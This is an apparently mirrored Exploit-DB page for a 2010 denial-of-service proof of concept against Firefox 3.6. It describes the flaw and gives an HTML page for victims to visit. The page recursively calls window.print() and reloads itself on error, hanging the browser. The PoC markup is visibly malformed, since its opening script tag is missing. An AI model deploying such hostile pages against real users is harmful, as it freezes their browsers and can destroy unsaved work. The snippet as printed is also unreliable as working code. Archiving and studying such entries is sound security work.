Mozilla Firefox 3.6 – Denial of Service (1) - 体验盒子

作者： Asheesh kumar Mani Tripathi

日期： 2010-02-13

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/11432/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

=======================================================================

Mozilla Firefox 3.6 (Multitudinous looping )Denial of Service Exploit

=======================================================================

by

Asheesh Kumar Mani Tripathi

# code by Asheesh kumar Mani Tripathi

# email informationhacker08@gmail.com

# company aksitservices

# Credit by Asheesh Anaconda

#Download www.mozilla.com/firefox

#Background

Mozilla Firefox is a popular internet browser. .....:)

#Vulnerability

This bug is a typical result of multitudinousloop.

The flaw exists when the attacker put window.printer() funtion

in multitudinous loop.User interaction is required to

exploit this vulnerability in that the target must visit a malicious

web page.

#Impact

Browser doesn't respond any longer to any user input, all tabs are no

longer accessible, your work if any might be lost.

#Proof of concept

copy the code in text file and save as "asheesh.html" open in Mozilla Firefox

========================================================================================================================

asheesh.html

========================================================================================================================

<html>

<title>asheesh kumar mani tripathi</title>

function

asheesh()

{

window.onerror=new Function("history.go(0)");

window.print();

asheesh();

}

asheesh();

</script>

</html>

========================================================================================================================

#If you have any questions, comments, or concerns, feel free to contact me.